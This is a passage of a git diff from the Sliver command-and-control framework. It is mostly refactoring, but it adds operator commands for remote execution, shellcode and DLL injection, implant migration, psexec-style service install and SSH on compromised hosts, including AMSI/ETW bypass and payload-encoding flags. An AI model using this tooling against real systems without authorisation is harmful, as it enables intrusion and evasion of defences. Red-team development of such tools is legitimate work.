EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -47,11 +46,11 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if envInfo.Response != nil && envInfo.Response.Async { - con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(envInfo.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, envInfo) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -59,14 +58,13 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintGetEnvInfo(envInfo, con) }) - con.PrintAsyncResponse(envInfo.Response) } else { PrintGetEnvInfo(envInfo, con) } } -// PrintGetEnvInfo - Print the results of the env get command -func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) { +// PrintGetEnvInfo - Print the results of the env get command. +func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/environment/set.go b/client/command/environment/set.go index 395d5edbd3..ccfbb5fe91 100644 --- a/client/command/environment/set.go +++ b/client/command/environment/set.go @@ -21,9 +21,8 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -31,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// EnvSetCmd - Set a remote environment variable -func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// EnvSetCmd - Set a remote environment variable. +func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -53,11 +52,11 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if envInfo.Response != nil && envInfo.Response.Async { - con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(envInfo.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, envInfo) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -65,14 +64,13 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } PrintSetEnvInfo(name, value, envInfo, con) }) - con.PrintAsyncResponse(envInfo.Response) } else { PrintSetEnvInfo(name, value, envInfo, con) } } -// PrintSetEnvInfo - Print the set environment info -func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) { +// PrintSetEnvInfo - Print the set environment info. +func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/environment/unset.go b/client/command/environment/unset.go index 664497f703..6082df4efe 100644 --- a/client/command/environment/unset.go +++ b/client/command/environment/unset.go @@ -21,17 +21,16 @@ package environment import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// EnvUnsetCmd - Unset a remote environment variable -func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// EnvUnsetCmd - Unset a remote environment variable. +func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -48,11 +47,11 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if unsetResp.Response != nil && unsetResp.Response.Async { - con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(unsetResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, unsetResp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -60,14 +59,13 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintUnsetEnvInfo(name, unsetResp, con) }) - con.PrintAsyncResponse(unsetResp.Response) } else { PrintUnsetEnvInfo(name, unsetResp, con) } } -// PrintUnsetEnvInfo - Print the set environment info -func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) { +// PrintUnsetEnvInfo - Print the set environment info. +func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) { if envInfo.Response != nil && envInfo.Response.Err != "" { con.PrintErrorf("%s\n", envInfo.Response.Err) return diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go new file mode 100644 index 0000000000..0a0ebc9f38 --- /dev/null +++ b/client/command/exec/commands.go @@ -0,0 +1,241 @@ +package exec + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + executeCmd := &cobra.Command{ + Use: consts.ExecuteStr, + Short: "Execute a program on the remote system", + Long: help.GetHelpFor([]string{consts.ExecuteStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) { + f.BoolP("token", "T", false, "execute command with current token (Windows only)") + f.BoolP("output", "o", false, "capture command output") + f.BoolP("save", "s", false, "save output to a file") + f.BoolP("loot", "X", false, "save output as loot") + f.BoolP("ignore-stderr", "S", false, "don't print STDERR output") + f.StringP("stdout", "O", "", "remote path to redirect STDOUT to") + f.StringP("stderr", "E", "", "remote path to redirect STDERR to") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)") + f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)")) + carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)")) + + executeAssemblyCmd := &cobra.Command{ + Use: consts.ExecuteAssemblyStr, + Short: "Loads and executes a .NET assembly in a child process (Windows Only)", + Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteAssemblyCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, executeAssemblyCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", "notepad.exe", "hosting process to inject into") + f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)") + f.StringP("class", "c", "", "Optional class name (required for .NET DLL)") + f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") + f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") + f.BoolP("in-process", "i", false, "Run in the current sliver process") + f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.Uint32P("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)") + f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)")) + carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)")) + + executeShellcodeCmd := &cobra.Command{ + Use: consts.ExecuteShellcodeStr, + Short: "Executes the given shellcode in the sliver process", + Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ExecuteShellcodeCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, executeShellcodeCmd, func(f *pflag.FlagSet) { + f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages") + f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)") + f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") + f.BoolP("interactive", "i", false, "Inject into a new process and interact with it") + f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution") + f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)") + f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(executeShellcodeCmd, func(comp *carapace.ActionMap) { + (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") + }) + carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) + + sideloadCmd := &cobra.Command{ + Use: consts.SideloadStr, + Short: "Load and execute a shared object (shared library/DLL) in a remote process", + Long: help.GetHelpFor([]string{consts.SideloadStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SideloadCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, sideloadCmd, func(f *pflag.FlagSet) { + f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)") + f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") + f.Uint32P("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)")) + carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)")) + + spawnDllCmd := &cobra.Command{ + Use: consts.SpawnDllStr, + Short: "Load and execute a Reflective DLL in a remote process", + Long: help.GetHelpFor([]string{consts.SpawnDllStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SpawnDllCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, spawnDllCmd, func(f *pflag.FlagSet) { + f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") + f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL") + f.BoolP("save", "s", false, "save output to file") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") + f.UintP("ppid", "P", 0, "parent process id (optional)") + f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)")) + carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)")) + + migrateCmd := &cobra.Command{ + Use: consts.MigrateStr, + Short: "Migrate into a remote process", + Long: help.GetHelpFor([]string{consts.MigrateStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + MigrateCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) { + f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder") + f.Uint32P("pid", "p", 0, "process id to migrate into") + f.StringP("process-name", "n", "", "name of the process to migrate into") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into")) + + psExecCmd := &cobra.Command{ + Use: consts.PsExecStr, + Short: "Start a sliver service on a remote target", + Long: help.GetHelpFor([]string{consts.PsExecStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PsExecCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("", false, psExecCmd, func(f *pflag.FlagSet) { + f.StringP("service-name", "s", "Sliver", "name that will be used to register the service") + f.StringP("service-description", "d", "Sliver implant", "description of the service") + f.StringP("profile", "p", "", "profile to use for service binary") + f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded") + f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(psExecCmd, func(comp *carapace.ActionMap) { + (*comp)["custom-exe"] = carapace.ActionFiles() + (*comp)["profile"] = generate.ProfileNameCompleter(con) + }) + carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) + + sshCmd := &cobra.Command{ + Use: consts.SSHStr, + Short: "Run a SSH command on a remote host", + Long: help.GetHelpFor([]string{consts.SSHStr}), + Args: cobra.MinimumNArgs(1), + Run: func(cmd *cobra.Command, args []string) { + SSHCmd(cmd, con, args) + }, + GroupID: consts.ExecutionHelpGroup, + } + flags.Bind("", false, sshCmd, func(f *pflag.FlagSet) { + f.UintP("port", "p", 22, "SSH port") + f.StringP("private-key", "i", "", "path to private key file") + f.StringP("password", "P", "", "SSH user password") + f.StringP("login", "l", "", "username to use to connect") + f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials") + f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file") + f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file") + f.StringP("kerberos-realm", "r", "", "Kerberos realm") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true + + completers.NewFlagCompsFor(sshCmd, func(comp *carapace.ActionMap) { + (*comp)["private-key"] = carapace.ActionFiles() + (*comp)["kerberos-keytab"] = carapace.ActionFiles() + }) + + carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)")) + carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments")) + + return []*cobra.Command{executeCmd, executeAssemblyCmd, executeShellcodeCmd, sideloadCmd, spawnDllCmd, migrateCmd, psExecCmd, sshCmd} +} diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index 34f16a03ce..da665a55ee 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExecuteAssemblyCmd - Execute a .NET assembly in-memory -func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExecuteAssemblyCmd - Execute a .NET assembly in-memory. +func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -112,12 +112,12 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } hostName := getHostname(session, beacon) if execAssembly.Response != nil && execAssembly.Response.Async { - con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(execAssembly.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, execAssembly) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -126,13 +126,12 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con) }) - con.PrintAsyncResponse(execAssembly.Response) } else { HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con) } } -func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index 7857a9383b..eac942a926 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -26,19 +26,18 @@ import ( "log" "os" + "github.com/spf13/cobra" "golang.org/x/term" "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExecuteShellcodeCmd - Execute shellcode in-memory -func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExecuteShellcodeCmd - Execute shellcode in-memory. +func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -83,7 +82,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a Data: shellcodeBin, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } oldSize := len(shellcodeBin) @@ -109,12 +108,12 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if shellcodeTask.Response != nil && shellcodeTask.Response.Async { - con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(shellcodeTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, shellcodeTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -122,14 +121,13 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } PrintExecuteShellcode(shellcodeTask, con) }) - con.PrintAsyncResponse(shellcodeTask.Response) } else { PrintExecuteShellcode(shellcodeTask, con) } } -// PrintExecuteShellcode - Display result of shellcode execution -func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) { +// PrintExecuteShellcode - Display result of shellcode execution. +func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) { if task.Response.GetErr() != "" { con.PrintErrorf("%s\n", task.Response.GetErr()) } else { @@ -137,7 +135,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient } } -func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) { +func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) { // Check active session session := con.ActiveTarget.GetSessionInteractive() if session == nil { @@ -153,7 +151,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r SessionID: session.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } @@ -166,7 +164,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r TunnelID: tunnel.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // Retrieve PID and start remote task @@ -185,7 +183,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r <-ctrl if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index fd45ab5aa6..ab87a784b3 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -23,9 +23,8 @@ import ( "strings" "time" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" @@ -33,8 +32,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// ExecuteCmd - Run a command on the remote system -func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ExecuteCmd - Run a command on the remote system. +func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -94,12 +93,12 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if exec.Response != nil && exec.Response.Async { - con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(exec.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, exec) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -107,13 +106,12 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } HandleExecuteResponse(exec, cmdPath, hostName, cmd, con) }) - con.PrintAsyncResponse(exec.Response) } else { HandleExecuteResponse(exec, cmdPath, hostName, cmd, con) } } -func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { var lootedOutput []byte stdout, _ := cmd.Flags().GetString("stdout") saveLoot, _ := cmd.Flags().GetBool("loot") @@ -136,8 +134,8 @@ func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName stri PrintExecute(exec, cmd, con) } -// PrintExecute - Print the output of an executed command -func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) { +// PrintExecute - Print the output of an executed command. +func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) { ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr") stdout, _ := cmd.Flags().GetString("stdout") stderr, _ := cmd.Flags().GetString("stderr") @@ -210,7 +208,7 @@ func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStd return []byte(outputString) } -func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) { +func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverClient) { if len(commandOutput) == 0 { con.PrintInfof("There was no output from execution, so there is nothing to loot.\n") return @@ -229,7 +227,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm loot.SendLootMessage(lootMessage, con) } -func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) { +func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverClient) { con.PrintInfof("Output:\n%s", executionOutput) if saveOutput { @@ -237,7 +235,7 @@ func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName s } } -func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) { +func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverClient) { var outFilePath *os.File var err error @@ -258,7 +256,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st } if outFilePath != nil { - outFilePath.Write([]byte(executionOutput)) + outFilePath.WriteString(executionOutput) con.PrintInfof("Output saved to %s\n", outFilePath.Name()) } } diff --git a/client/command/exec/migrate.go b/client/command/exec/migrate.go index 1a0e421ca5..b892430e23 100644 --- a/client/command/exec/migrate.go +++ b/client/command/exec/migrate.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// MigrateCmd - Windows only, inject an implant into another process -func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MigrateCmd - Windows only, inject an implant into another process. +func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSession() if session == nil { return @@ -50,7 +50,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("Error: %v\n", err) + con.PrintErrorf("Error: %v\n", con.UnwrapServerErr(err)) return } procCtrl <- true @@ -85,7 +85,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str ctrl <- true <-ctrl if err != nil { - con.PrintErrorf("Error: %v", err) + con.PrintErrorf("Error: %v", con.UnwrapServerErr(err)) return } if !migrate.Success { diff --git a/client/command/exec/psexec.go b/client/command/exec/psexec.go index 69f08a3a51..32f504460f 100644 --- a/client/command/exec/psexec.go +++ b/client/command/exec/psexec.go @@ -21,12 +21,11 @@ package exec import ( "context" "fmt" + insecureRand "math/rand" "os" "strings" "time" - insecureRand "math/rand" - "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command/generate" @@ -39,7 +38,7 @@ import ( ) // PsExecCmd - psexec command implementation. -func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -77,7 +76,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl) profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } generateCtrl <- true @@ -118,7 +117,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri uploadCtrl <- true <-uploadCtrl if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath()) @@ -144,7 +143,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri serviceCtrl <- true <-serviceCtrl if err != nil { - con.PrintErrorf("Error: %v\n", err) + con.PrintErrorf("Error: %v\n", con.UnwrapServerErr(err)) return } if start.Response != nil && start.Response.Err != "" { @@ -164,7 +163,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri removeChan <- true <-removeChan if err != nil { - con.PrintErrorf("Error: %s\n", err) + con.PrintErrorf("Error: %s\n", con.UnwrapServerErr(err)) return } if removed.Response != nil && removed.Response.Err != "" { diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index b965c5385a..76df68b648 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -25,17 +25,16 @@ import ( "path/filepath" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// 